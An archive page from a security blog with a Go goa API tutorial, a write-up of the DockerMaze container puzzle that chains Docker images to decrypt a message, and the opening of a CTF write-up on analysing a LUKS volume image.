Un blog de Seguridad Informática, desde un punto de vista tecnológico

Archivo de Autor

Creating your Go HTTP API easily with goa

Using the great and simple Go http package is more than enough (and what I use) to expose simple HTTP endpoints. But when you need to build a HTTP API with lots of endpoints and user/media types, you have a lot of work ahead.

I found that using goa was a good solutions in those cases, because:

  • You design your API using a design language (DSL).
  • Lot of things are generated for you (useful code, swagger documentation, a client for the API, etc.).
  • You get a Single Source of Trust (SSoT), so for example your swagger documentation is always updated with your controllers.

But I’ll be easier to show it with a quick tutorial, so let’s go 🙂

Requirements

$ go version
go version go1.8.1 darwin/amd64
$ echo $GOPATH
/Users/Redsadic

(I like to use my $HOME as my GOPATH)

  • Install goa.
$ go get -v github.com/goadesign/goa
  • Create your new Go project in the $GOPATH/src directory.
$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets
$ cd $GOPATH/src/github.com/julianvilas/dummy-secrets

Now let’s start with the fun 🙂

Design

First of all, we need to define the API using the goa DSL. Let’s create a dummy API to share secrets using One-Time links (OTL). It’s not the case of a complex API but it’s easy to show how to work with goa.

We will have 2 endpoints:

  1. To store a new secret returning the corresponding OTL.
  2. To retrieve a secret using its OTL.

To define the API create a package called design:

$ mkdir -p $GOPATH/src/github.com/julianvilas/dummy-secrets/design

And edit the file design.go (can be named as you want, e.g. api.go or split in different files).

package design

import (
 . "github.com/goadesign/goa/design"
 . "github.com/goadesign/goa/design/apidsl"
)

var _ = API("dummy-secrets", func() {
 Title("Dummy secrets")
 Description("Share your secrets using a dummy API")
 Version("1.0")
 BasePath("/v1")
 Scheme("http")
 Host("localhost:8080")
 Consumes("application/json")
})

By now we have added some basic information of the API. The BasePath will affect the URLs of all the resources we are going to add later, and the Scheme, Host and Consumes will affect both the client and the swagger documentation.

Now we can bootstrap the API running:

$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design
app
app/contexts.go
app/controllers.go
app/hrefs.go
app/media_types.go
app/user_types.go
main.go
tool/dummy-secrets-cli
tool/dummy-secrets-cli/main.go
tool/cli
tool/cli/commands.go
client
client/client.go
client/user_types.go
client/media_types.go
swagger
swagger/swagger.json
swagger/swagger.yaml
$ ll
total 8
drwxr-xr-x 7 Redsadic staff 238B 1 may 18:14 app/
drwxr-xr-x 5 Redsadic staff 170B 1 may 18:14 client/
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 design/
-rw-r--r-- 1 Redsadic staff 555B 1 may 18:14 main.go
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 swagger/
drwxr-xr-x 4 Redsadic staff 136B 1 may 18:14 tool/

As can be seen, some files have been generated:

  • The directory tool will contain a cli to interact with the API.
  • The client will contain a SDK, used by the cli, to interact with the API.
  • The app will implement all the needed low-level HTTP functions.
  • The swagger will contain the autogenerated documentation.
  • In the root directory, the main.go will start the HTTP server will all the API controllers (0 by now). That one, with the design package are the only we should modify. The others from above are auto-generated and shouldn’t be edited by hand.

Let’s take a look at the main.go:

//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

package main

import (
 "github.com/goadesign/goa"
 "github.com/goadesign/goa/middleware"
)

func main() {
 // Create service
 service := goa.New("dummy-secrets")

 // Mount middleware
 service.Use(middleware.RequestID())
 service.Use(middleware.LogRequest(true))
 service.Use(middleware.ErrorHandler(service, true))
 service.Use(middleware.Recover())

 // Start service
 if err := service.ListenAndServe(":8080"); err != nil {
 service.LogError("startup", "err", err)
 }

}

A new goa service is created, applying some useful middleware to it. And then the HTTP server is run listening at the port 8080 we defined in the design.go.

Now we can build, install and run it typing:

$ go install ./...
$ dummy-secrets
dummy-secrets dummy-secrets-cli
$ dummy-secrets
2017/05/01 18:33:04 [INFO] listen transport=http addr=:8080

Now we have a really dummy API, because we haven’t defined yet any resource. So let’s add the endpoints we mentioned.

Edit the design/design.go file and add:

var _ = Resource("Secrets", func() {
 BasePath("/secrets")

 Response(Created, func() {
 Status(201)
 Headers(func() {
 Header("Location", String, "Resource location", func() {
 Pattern("/secrets/[-a-zA-Z0-9]+")
 })
 })
 })

 Action("create", func() {
 Routing(POST("/"))
 Description("Store a new Secret")
 Payload(SecretPayload)
 Response(Created)
 Response(InternalServerError, ErrorMedia)
 Response(BadRequest)
 })

 Action("show", func() {
 Routing(GET("/:id"))
 Params(func() {
 Param("id", UUID)
 })
 Description("Get a Secret by its ID")
 Response(OK, SecretMedia)
 Response(NotFound)
 Response(InternalServerError, ErrorMedia)
 Response(BadRequest)
 })
})

var SecretPayload = Type("SecretPayload", func() {
 Attribute("secret", String, func() {
 Description("A secret to be shared with someone.")
 Example(`I'm a secret, share me with someone safely please.`)
 MinLength(1)
 MaxLength(255)
 Pattern("^[[:print:]]+")
 })
 Required("secret")
})

var SecretMedia = MediaType("application/vnd.secret+json", func() {
 Reference(SecretPayload)

 Attributes(func() {
 Attribute("secret")
 Required("secret")
 })

 View("default", func() {
 Attribute("secret")
 })
})

We have created a new Resource «Secrets», with path /v1/secrets. Then we have defined two actions for it:

  • create: receives a payload like '{ "secret" : "I am a dummy secret"}' and returns an HTTP Created response, with a Location header pointing to the secret.
  • show: retrieves a secret by its ID and returns the SecretMedia.

As you see we have defined the attributes (with validation requirements), the responses and the data we expect from the users.

Now, let’s bootstrap again (we can delete the main.go file first to let it be generated again).

$ rm main.go
$ goagen bootstrap -d github.com/julianvilas/dummy-secrets/design
app
app/contexts.go
app/controllers.go
app/hrefs.go
app/media_types.go
app/user_types.go
app/test
app/test/secrets_testing.go
main.go
secrets.go
tool/cli
tool/cli/commands.go
client
client/client.go
client/secrets.go
client/user_types.go
client/media_types.go
swagger
swagger/swagger.json
swagger/swagger.yaml

Now we see that some more stuff has been generated:

  • a secrets.go file that contains the secrets controller.
  • a helper under app to create tests for the controller.

Tne new main.go now contains this new content, that is used to mount the controller into the goa service:

 // Mount "Secrets" controller
 c := NewSecretsController(service)
 app.MountSecretsController(service, c)

And the secrets.go contains:

package main

import (
 "github.com/goadesign/goa"
 "github.com/julianvilas/dummy-secrets/app"
)

// SecretsController implements the Secrets resource.
type SecretsController struct {
 *goa.Controller
}

// NewSecretsController creates a Secrets controller.
func NewSecretsController(service *goa.Service) *SecretsController {
 return &SecretsController{Controller: service.NewController("SecretsController")}
}

// Create runs the create action.
func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error {
 // SecretsController_Create: start_implement

 // Put your logic here

 // SecretsController_Create: end_implement
 return nil
}

// Show runs the show action.
func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error {
 // SecretsController_Show: start_implement

 // Put your logic here

 // SecretsController_Show: end_implement
 res := &app.Secret{}
 return ctx.OK(res)
}

 

Now we have to implement the logic of these two controllers.

Implement

First we need to create a storage where secrets can be stored and retrieved. In order to make things easy to test or replace and well organized, we will define a Persister interface. Let’s put it in its own package persister.

$ mkdir persister
$ touch persister/persister.go

Edit the persister.go and add:

package persister

import (
 uuid "github.com/satori/go.uuid"
)

type Persister interface {
 Store(secret string) uuid.UUID
 Retrieve(id uuid.UUID) (string, error)
}

 

And add also a implementation for the Persister interface:

type MemPersister struct {
 storage map[string]string
 mux sync.RWMutex
}

func NewMemPersister() *MemPersister {
 return &MemPersister{
 storage: make(map[string]string),
 }
}

func (mp *MemPersister) Store(secret string) uuid.UUID {
 id := uuid.NewV4()

 mp.mux.Lock()
 defer mp.mux.Unlock()

 mp.storage[id.String()] = secret

 return id
}

func (mp *MemPersister) Retrieve(id uuid.UUID) (string, error) {
 mp.mux.RLock()
 defer mp.mux.RUnlock()

 secret, ok := mp.storage[id.String()]
 if !ok {
 return "", fmt.Errorf("error: a secret with id %v doesn't exist.", id)
 }
 delete(mp.storage, id.String())

 return secret, nil
}

 

Now we need to do two things:

  1. Add a Persister to the secrets controller, and implement the logic.
  2. Inject the MemPersister in the main.

First we modify the secrets.go:

package main

import (
 "github.com/goadesign/goa"
 "github.com/julianvilas/dummy-secrets/app"
 "github.com/julianvilas/dummy-secrets/persister"
)

// SecretsController implements the Secrets resource.
type SecretsController struct {
 *goa.Controller
 storage persister.Persister
}

// NewSecretsController creates a Secrets controller.
func NewSecretsController(service *goa.Service, st persister.Persister) *SecretsController {
 return &SecretsController{
 Controller: service.NewController("SecretsController"),
 storage: st,
 }
}

// Create runs the create action.
func (c *SecretsController) Create(ctx *app.CreateSecretsContext) error {
 secret := ctx.Payload.Secret
 id := c.storage.Store(secret)

 ctx.ResponseData.Header().Set("Location", app.SecretsHref(id.String()))

 return ctx.Created()
}

// Show runs the show action.
func (c *SecretsController) Show(ctx *app.ShowSecretsContext) error {
 id := ctx.ID
 secret, err := c.storage.Retrieve(id)
 if err != nil {
 goa.LogError(ctx, err.Error())
 return ctx.NotFound()
 }

 res := &app.Secret{secret}
 if err := res.Validate(); err != nil {
 goa.LogError(ctx, err.Error())
 return ctx.InternalServerError(goa.ErrInternal(err))

 }

 return ctx.OK(res)
}

 

And finally the main.go:

//go:generate goagen bootstrap -d github.com/julianvilas/dummy-secrets/design

package main

import (
 "github.com/goadesign/goa"
 "github.com/goadesign/goa/middleware"
 "github.com/julianvilas/dummy-secrets/app"
 "github.com/julianvilas/dummy-secrets/persister"
)

func main() {
 // Create service
 service := goa.New("dummy-secrets")

 // Mount middleware
 service.Use(middleware.RequestID())
 service.Use(middleware.LogRequest(true))
 service.Use(middleware.ErrorHandler(service, true))
 service.Use(middleware.Recover())

 // Mount "Secrets" controller
 mp := persister.NewMemPersister()
 c := NewSecretsController(service, mp)
 app.MountSecretsController(service, c)

 // Start service
 if err := service.ListenAndServe(":8080"); err != nil {
 service.LogError("startup", "err", err)
 }

}

 

Run

Let’s test what we did. First of all, build and install again with go install ./....

Now use the cli to store a secret and the retrieve it:

$ dummy-secrets-cli
CLI client for the dummy-secrets service

Usage:
 dummy-secrets-cli [command]

Available Commands:
 create Store a new Secret
 help Help about any command
 show Get a Secret by its ID

Flags:
 --dump Dump HTTP request and response.
 -H, --host string API hostname (default "localhost:8080")
 -s, --scheme string Set the requests scheme
 -t, --timeout duration Set the request timeout (default 20s)

Use "dummy-secrets-cli [command] --help" for more information about a command.

 

Start the service:

$ dummy-secrets
2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Create route=POST /v1/secrets
2017/05/01 20:03:21 [INFO] mount ctrl=Secrets action=Show route=GET /v1/secrets/:id
2017/05/01 20:03:21 [INFO] listen transport=http addr=:8080

 

Store a secret:

$ dummy-secrets-cli create secrets --payload '{ "secret" : "a dummy secret" }' --dump
2017/05/01 20:05:30 [INFO] started id=OIBa7E5P POST=http://localhost:8080/v1/secrets
2017/05/01 20:05:30 [INFO] request headers Content-Type=application/json User-Agent=dummy-secrets-cli/1.0
2017/05/01 20:05:30 [INFO] request body={"secret":"a dummy secret"}
2017/05/01 20:05:30 [INFO] completed id=OIBa7E5P status=201 time=3.515675ms
2017/05/01 20:05:30 [INFO] response headers Date=Mon, 01 May 2017 18:05:30 GMT Content-Length=0 Content-Type=text/plain; charset=utf-8 Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7

In the last line of the log can be seen the Location header where the ID of the secret is returned:

Location=/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7

Now retrieve the secret using the ID:

$ dummy-secrets-cli show secrets --id 614dcf25-02e2-43dd-9809-e189abb7d8a7 --pp
2017/05/01 20:08:28 [INFO] started id=0VBkwhgo GET=http://localhost:8080/v1/secrets/614dcf25-02e2-43dd-9809-e189abb7d8a7
2017/05/01 20:08:28 [INFO] completed id=0VBkwhgo status=200 time=4.074434ms
{
 "secret": "a dummy secret"
}

If you try to run it again, you’ll see that the secret is no longer available, as we implemented it as an OTL.

You can test it also with curl:

$ curl -vvv -X POST --data '{ "secret" : "a dummy secret" }' http://localhost:8080/v1/secrets
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8080 (#0)
> POST /v1/secrets HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
> Content-Length: 31
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 31 out of 31 bytes
< HTTP/1.1 201 Created
< Location: /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
< Date: Mon, 01 May 2017 18:13:25 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
<
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

$ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8080 (#0)
> GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/vnd.secret+json
< Date: Mon, 01 May 2017 18:14:58 GMT
< Content-Length: 28
<
{"secret":"a dummy secret"}
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact
$ curl -vvv http://localhost:8080/v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8080 (#0)
> GET /v1/secrets/e293bf3a-5b0b-487c-841c-a4ad17e4bbe9 HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
>
< HTTP/1.1 404 Not Found
< Date: Mon, 01 May 2017 18:15:00 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
<
* Curl_http_done: called premature == 0
* Connection #0 to host localhost left intact

 

And that was all! We got it running 🙂

You got the example in github, just:

$ go get -v github.com/julianvilas/dummy-secrets

Also you can see the swagger doc in http://swagger.goa.design/?url=julianvilas/dummy-secrets/design.

Improvements

  1. Create a FilePersister and to store in files instead of memory (or a S3Persister, it’s easy to replace the Persister as we created it as an interface).
  2. Create tests! You can use the app/test helpers goa generated for you.
  3. Create documentation.

References

 


DockerMaze challenge write-up

UPDATE 23/11/2015: new info thanks to @nibble_ds, one of the challenge authors, inline the post 🙂

Last November 16-17th the Dockercon eu 2015 was held in Barcelona, and the Schibsted team published the DockerMaze challenge, a labyrinth escape game like those we used to play in the 90s. In the game you wake up alone in the middle of a labyrinth and you have to escape from it, and through a console you can use commands to interact with the environment.

In this post I will show how I had fun solving the challenge! 😀

The «help» command uncovers a set of commands that includes «look», «interact» and «escape». If you do «look front» the game says that there are some signs on the wall, and after executing «inspect wall» some clues are revealed:

Found rooms:
  - schibstedchallenge/dockermaze-weisse:latest
  - schibstedchallenge/dockermaze-stout:latest
  - schibstedchallenge/dockermaze-porter:latest
  - schibstedchallenge/dockermaze-ipa:latest
Found Keys:
  - FollowTheWhiteRabbit
Followed path:
  - Input: https://challenge.schibsted.com/assets/data/ct1.bin
  - Output: ?
More than a year and I'm still here. I'm loosing all hope. Maybe there is another key?

A quick inspection of the binary file doesn’t give much information.

 

Captura de pantalla 2015-11-21 a las 23.05.11

Next step was to download the docker images and to inspect them:

docker pull schibstedchallenge/dockermaze-weisse:latest
docker pull schibstedchallenge/dockermaze-stout:latest
docker pull schibstedchallenge/dockermaze-porter:latest
docker pull schibstedchallenge/dockermaze-ipa:latest

Let’s play with those docker images then 🙂

WEISSE

docker inspect schibstedchallenge/dockermaze-weisse:latest

Relevant info:

"Entrypoint": [
 "/usr/local/bin/start.bash"
 ]
"ExposedPorts": {
 "1954/tcp": {}
 }

Captura de pantalla 2015-11-21 a las 23.39.25

Seems that there’s a ruby application («weisse.rb») listening at the port 1954/tcp, that is executed by the bash script «start.bash». Inside that script additional information is given:

# We use eureka + prana for service discovery.

This clue will be useful later 🙂

Looking at the «weisse.rb» file I saw that the application exposes a REST endpoint («/turing») that runs the received data in an Enigma machine. Furthermore, to set up the enigma machine it tries to get some information making DNS requests to a host with name «porter».

Here are some snippets of it 🙂

...SNIP...
BFBASE = 'aaa'
set :bind, '0.0.0.0'
set :port, 1954
post '/turing' do
 data = request.body.read
 rotors = get_rotors('porter')
plugboard = Hash[*PLUGBOARD.pack('H*').split('')]
 plugboard.merge!(plugboard.invert)
 rotors.map! do |r|
 Hash[[r].pack('H*').split('').zip((0...256).map{|i| i.chr})]
 end
 reflector = Hash[*REFLECTOR.pack('H*').split('')]
 reflector.merge!(reflector.invert)
 enigma(data, plugboard, rotors, reflector)
end
...SNIP...
def get_rotors(nameserver)
 rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r|
 ctr = 0
loop do
 begin
 n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i
 rescue Resolv::ResolvError
 break
 end
bf = BFBASE.dup
 found_chunks = 0
 rotors[ctr] = ''
while found_chunks < n
 begin
 ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"')
 rotors[ctr] << ck
 found_chunks += 1
 rescue Resolv::ResolvError
 next
 ensure
 bf.next!
 end
 end
ctr += 1
 end
 end
rotors
end
...SNIP...

STOUT

docker inspect schibstedchallenge/dockermaze-stout

Relevant info:

"Entrypoint": [
 "/usr/local/bin/stout.py"
 ]
"ExposedPorts": {
 "31337/tcp": {}
 }

But an error is raised when trying to run the docker image:

Captura de pantalla 2015-11-22 a las 0.06.51

As the container didn’t start due to the error, I changed the entry point of the container to be able to snoop the «stout.py».

docker run -ti --entrypoint /bin/bash --name stout schibstedchallenge/dockermaze-stout
docker cp stout:/usr/local/bin/stout.py .
#!/usr/bin/env python
import os
import sys
import socket
import base64
from datetime import datetime
from dns import resolver
from flask import Flask, request, make_response
app = Flask('stout')
PORTER_HOST = os.getenv('PORTER_PORT_53_TCP_ADDR')
def xor(data, key):
 return "".join(map(lambda i: chr(ord(data[i]) ^ ord(key[i%len(key)])), xrange(len(data))))
def transform(data):
 s = socket.socket()
s.connect(('ipa', 6060))
 s.sendall(base64.b64encode(data) + "\n")
 ret = s.makefile().readline().decode('base64')
 s.close()
 return ret
@app.route("/gate", methods=['POST'])
def gate():
 t1 = datetime.now()
data = request.stream.read()
dns_resolver = resolver.Resolver()
dns_resolver.nameservers = [PORTER_HOST]
 dns_answer = dns_resolver.query('bitwise.dockermaze', 'TXT')
 secret = dns_answer[0].to_text().strip('"')
ret = transform(xor(data, secret))
t2 = datetime.now()
resp = make_response(ret, 200)
 resp.headers.extend({'X-Dockermaze-Time': t2-t1})
return resp
if __name__ == '__main__':
 if not PORTER_HOST:
 sys.exit('error: cannot get key')
 app.run(host='0.0.0.0', port=31337)

What can be seen is that the script is publishing a REST endpoint that XORes the received data with a secret, obtained through a DNS request to the «porter» host (you have to provide its IP by an envvar), and sends the result to the «ipa» host.

 PORTER

docker inspect schibstedchallenge/dockermaze-porter

Relevant info:

"Entrypoint": [
 "/usr/sbin/named"
 ]
"ExposedPorts": {
 "53/tcp": {}
 }

As suspected providing the info obtained from the «stout» and «weisse» containers, the porter looks like a DNS server.

Captura de pantalla 2015-11-22 a las 13.08.35

Bingo! one of the entries present in the «db.dockermaze» dns zone configuration for bind contains the secret key needed by «stout.py» to work (between other relevant entries we’ll see below).

IPA

docker inspect schibstedchallenge/dockermaze-ipa

Relevant info:

"Entrypoint": [
 "/usr/local/bin/start.bash"
 ]
"ExposedPorts": {
 "6060/tcp": {}
 }
"Env": [
 "PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
 "GOLANG_VERSION=1.5.1",
 "GOLANG_DOWNLOAD_URL=https://golang.org/dl/go1.5.1.linux-amd64.tar.gz",
 "GOLANG_DOWNLOAD_SHA1=46eecd290d8803887dec718c691cc243f2175fe0",
 "GOPATH=/go"
 ]

The golang traces clearly point to @nibble_ds as one of the crime authors 😉

When trying to run the «ipa» image, an error is raised:

2015/11/22 12:20:20 error: envvar AES_KEY not defined

Let’s try to get more info of it:

 

Captura de pantalla 2015-11-22 a las 13.34.52

As can be seen the container also makes use of Prana and Eureka (parts of the Netflix stack), and runs a «ipa» golang binary. In this case, the challenge authors made our life easier giving us the source code too ;). In any case, the bin was not stripped.

$ file ipa
ipa: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

Snooping the source code of the «ipa» application («ipa.go»), we can see that it listens to the port 6060/tcp, and decodes (base64) and decrypts the received data, using AES-256 CTR mode using a key provided by the environment variable «AES_KEY». The result is sent to the «weisse» REST endpoint and the returned data is base64 encoded and sent back to the caller.

Snippets FTW!

...SNIP...
var AesKey = os.Getenv("AES_KEY")
func main() {
...SNIP...
ln, err := net.Listen("tcp", ":6060")
...SNIP...
func handleConnection(conn net.Conn) {
 defer conn.Close()
br := bufio.NewReader(conn)
 line, err := br.ReadString('\n')
...SNIP...
data, err := base64.StdEncoding.DecodeString(line)
...SNIP...

 decdata, err := decrypt(data, []byte(AesKey))
...SNIP...
transdata, err := transform(decdata)
...SNIP...
ret := base64.StdEncoding.EncodeToString([]byte(transdata))
fmt.Fprintln(conn, ret)
}
...SNIP...
func transform(data []byte) (transdata []byte, err error) {
 c := goprana.NewClient(goprana.DefaultPort)
 resp, err := c.Post("weisse", "/turing", "application/octet-stream", bytes.NewReader(data))
 if err != nil {
 return nil, err
 }
 defer resp.Body.Close()
return ioutil.ReadAll(resp.Body)
}

 

 

OK so, let’s put all the pieces together:

  1. The «stout» machine expects some data to be received by a POST HTTP method to its REST endpoint, listening at the 31337/tcp port. He gets a secret key from the «porter» machine (via DNS request) and after applying a transform to the received data, sends it base64 encoded to the «ipa» host.
  2. The «ipa» host receives the data sent by «stout», decodes it (base64) and decrypts it using the provided AES_KEY via envvar. Then sends the decrypted data to the «weisse» endpoint.
  3. The «weisse» endpoint applies an enigma decryption to the received data, getting information about the rotors through DNS requests to the «porter» DNS server, and returns the decrypted data to the «ipa».
  4. The «ipa» base64-encodes the response and returns it to «stout».
  5. The «stout» machine decodes the bas64 response and delivers it to the caller.

On the other hand we had the «ct1.bin» file and the «FollowTheRabbit» key, so we can make the below assumptions:

  • The AES_KEY is «FollowTheRabbit».
  • The «ct1.bin» is the encrypted data we want to decrypt using the container chain.

So we need to link the containers in order to let them talk to each others, taking into account that «weisse» and «ipa» use Prana & Eureka to communicate.

Note of the author: Juan told me that would be great to put a diagram in this place to improve the explanation, but… I’ll do it only for a beer. If you want a diagram just make me happy and bring me one!  ;-P

UPDATE 23/11/2015: nibble provided this awesome diagram 🙂

diagram

 

This is what I did:

docker pull netflixoss/eureka:1.1.147
docker run -d --name eureka netflixoss/eureka:1.1.147
docker run -d -P --name porter schibstedchallenge/dockermaze-porter
docker run -d -P --name weisse --link porter:porter --link eureka:eureka schibstedchallenge/dockermaze-weisse
docker run -d -P -e "AES_KEY=FollowTheWhiteRabbit" --name ipa --link weisse:weisse --link eureka:eureka schibstedchallenge/dockermaze-ipa
docker run -d -p 31337:31337 --name stout --link ipa:ipa --link porter:porter schibstedchallenge/dockermaze-stout

And then I waited some minutes before sending the requests to the «stout» endpoint (due to the advice found in the «start.bash» file):

curl -v -X POST --data-binary @ct1.bin http://localhost:31337/gate --header "Content-Type:application/octet-stream"

Captura de pantalla 2015-11-22 a las 19.02.35

OK, I was on the right path but unfortunately I was not attending the Dockercon :(. Fortunately after the con @nibble_ds sent me the key they were giving in the Schibsted booth (thanks sir!).

qrcode

When scanned the QR code a snippet of ruby code appeared:

puts 'z4LufsdfTf{bNsfldpE'.bytes.map { |ch| (ch.ord - 1).chr }.reverse.join

After executing it you get the new key! («DockerMazeSecretK3y»).

We should be close, but when I tried again the same «curl» command but modifying the AES_KEY, the «ct1.bin» didn’t work as the encrypted message. Where could we get a new message?

I remembered the DockerMaze «escape» command that receives a parameter «ip». So I did a DNAT from my public IP to the 31337/tcp port of the «stout» (PublicIP:31337 -> PrivateIP:31337), and executed:

escape x.x.x.x

Where «x.x.x.x» was my public IP, and I got:

Trying to escape... Wait...
Hummm… Everything seems to be okay but you must be faster… 20.040787 seconds is too much

So we need to make something to be faster. After inspecting what part of the chain triggered more, the «weisse» component stood up as highly inefficient. The problem was in this loop when getting the rotors:

...SNIP...

BFBASE = 'aaa'

...SNIP...
def get_rotors(nameserver)
 rotors = []
Resolv::DNS.open({:nameserver=>[nameserver]}) do |r|
 ctr = 0
loop do
 begin
 n = r.getresource("walzen-#{ctr}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.to_i
 rescue Resolv::ResolvError
 break
 end
bf = BFBASE.dup
 found_chunks = 0
 rotors[ctr] = ''
while found_chunks < n
 begin
 ck = r.getresource("walzen-#{ctr}-#{bf}.dockermaze", Resolv::DNS::Resource::IN::TXT).data.delete('"')
 rotors[ctr] << ck
 found_chunks += 1
 rescue Resolv::ResolvError
 next
 ensure
 bf.next!
 end
 end
ctr += 1
 end
 end
rotors
end

Most of the requested DNS entries were like these:

walzen-0 IN TXT "4"
walzen-0-aaa IN TXT "7b57e0a216b65a40534e4c8bcc787a8e5b3722657dcfb0d199950688ef0c718cbf1094bd0ff7d687c69cfba09d42caaa13d4cdb24f8f892877b4a91f596b2615"
walzen-0-aab IN TXT "6f48936c561d66625e31702143c2978ddaf19f60dcfd340e3b3c2b725404a820613ad369ae0a30a5b76de14d08d041337c02ceacbed5e7c3deee67ad7f63f529"
walzen-0-aac IN TXT "f3523e2746b1e524a48451ff1e5c92f6d796b9b89036c43d8ae8f486c7c1bc2ea601499e6eab81e383c0392c2d0514f0e9324af985507efa116a743523cb00fe"
walzen-0-aad IN TXT "1a68df6455c8ec914476fcc5808279f298ed3f5dbba7a3b54b250309d92f17a112b307db75eb1c2af8dd38e473d819afd2e2ea1be6c90b589aba5f470d18459b"
walzen-1 IN TXT "4"
walzen-1-aaa IN TXT "0ec8580062742e72c3d96fc76d4f21bacdf03887256bb7c9d42a27c5cb43e216405163e7a3427a071033ea3944899f88d63f83e41d91ad1a19b39c455c041294"
walzen-1-aab IN TXT "ac8ccfafe184de033afdf13ddcdfd27b8b86989e82d1ffbca99290fbc4a115c2eba05323be80060a30eeaed3689385148aa56e37a6bb4a1bef0db5bd34dbf846"
walzen-1-aac IN TXT "eddd05480c7df9c6d0b69b591eb48f7f20175022f4577170ab7ea78e77b04c5d4e029dbf47fa3e8d49e3d83b4b816999ecb178f561081c292f2b6097544136f7"
walzen-1-aad IN TXT "18a46635e9b9f6d756753cf35f65e0aac1266c7c5ba25231e5e60bce0f2cb82432da675a09132d5e9acafc76a8110155b2c04d1ff2d5fe73cce8966a79286495"

But some of them were not consecutive, leading to a lot of unnecessary failed DNS requests. For example:

walzen-9 IN TXT "4"
walzen-9-aaa IN TXT "3a8a13373496029d73b8d44e23147e947f45d5fd8640073f2ff7953858bb5ce076cfbef68860d8986a7a8fc8ad26d9d3f8fc9fee0e56ed65b14cb0fe84acc724"
walzen-9-aab IN TXT "299cda0f3001505a3caf0b99e2c380f3b532161aa861b2f00675dfa4d08da0ea550dcc53f581692a5bd6d119744272fac0b7db8c6210ffbc8bc9a166bacd9305"
walzen-9-aac IN TXT "a76f638943aae11d925d680948e4672dd252ab54495fc2caf27cf45133b65e7d6ba6820a1225398e214b274dbd00596efbefe6229e18473b20c56de3c135153d"
walzen-9-rzd IN TXT "644fe5f18583ebf9c62e1e1f7bc4ecdd44b4ce70a5086c4ad7579a17a9413e3171bfde11790c877704a2a3e8b32891369bb946e9ae2b2c1bcbe797781c90dc03"

So what I did is to edit the «db.dockermaze» configuration file to make them all consecutive and updated the docker image.

docker cp ./modified-db.dockermaze porter:/etc/bind/db.dockermaze
docker commit porter redsadic/dockermaze-porter:v2
docker run -d -P --name porter redsadic/dockermaze-porter:v2

And when I ran the «escape x.x.x.x» command again… Voilà!

Trying to escape... Wait...
You put the key in the lock and... the door opens! 
Congratulations! You are out of the labyrinth! 
Send an email with the following info to big.ideas+DockerMaze@schibsted.com:
- IP used to escape
- The token 'XXXXXXXXXXXXXXXXXX'
- Short explanation about how you escaped

Wohoooo! challenge solved! 😀

I would want to thank the Schibsted team because I really had a lot of fun with the challenge! Thank you guys! 😀

And that’s all folks!

UPDATE 23/11/2015: some easter eggs from the challenge authors :

  • The hostnames are different kind of beers
  • The STOUT endpoint is /gate because it implements a XOR (a logic gate)
  • The IPA exposed port is :6060 or GOGO 😀
  • The WEISSE (enigma) endpoint port is 1954, the year Alan Turing died
  • Also the endpoint /turing is in honor of him, due to his contribution breaking enigma
  • The DNS records where the rotors are stored are called «walzen-x-yyy». Walzen means rotor in german
  • And…
    • STOUT is the kind of beer that nibble likes less, this is why he did it in python (as a good python hater he is)
    • IPA is one of his favorites beers, and he did it in go 😉
    • WEISSE is other kind of beer he loves, for this reason it is ruby!

PD: looks like the https://challenge.schibsted.com site is down now. Too late if you want to play the challenge now ;(

UPDATE 23/11/2015:

PD: the challenge is now available at http://challenge.schibsted.com. If you wanna play, go for it!!!

 


Solución HIDDENtation – Final CTF NCN 2014

Buenas,

hoy hemos tenido el placer de participar en la final del CTF de las No cON Name por segundo año consecutivo y, antes de explicaros nuestra solución a uno de los retos (que no conseguimos terminar a tiempo ;( ), nos gustaría dar las gracias a la organización; ya que se han currado un montón las pruebas (tanto las de la final como las de las quals) con el único objetivo de hacernos pasar un buen rato. Gracias de verdad, porque ha sido muy divertido! 🙂

El reto que vamos a explicaros se llama HIDDENtation, y el texto que describía el reto decía tal que así: «Dig deep into the file and find the flag.». Este texto venía acompañado por un archivo, que es en el que se centra el juego.

En un primer vistazo al archivo vemos algo tal que así:

hexdump

 

 

Por lo que parece que se trate de una imagen de un volumen cifrado con LUKS (estándar de cifrado de discos duros en Linux). El tema es que el comando «file» no ha identificado el fichero como tal, así que procedemos a analizar si la estructura del archivo es correcta. Para ello utilizamos una plantilla para el «010 Editor» para analizar el format de volúmenes LUKS.

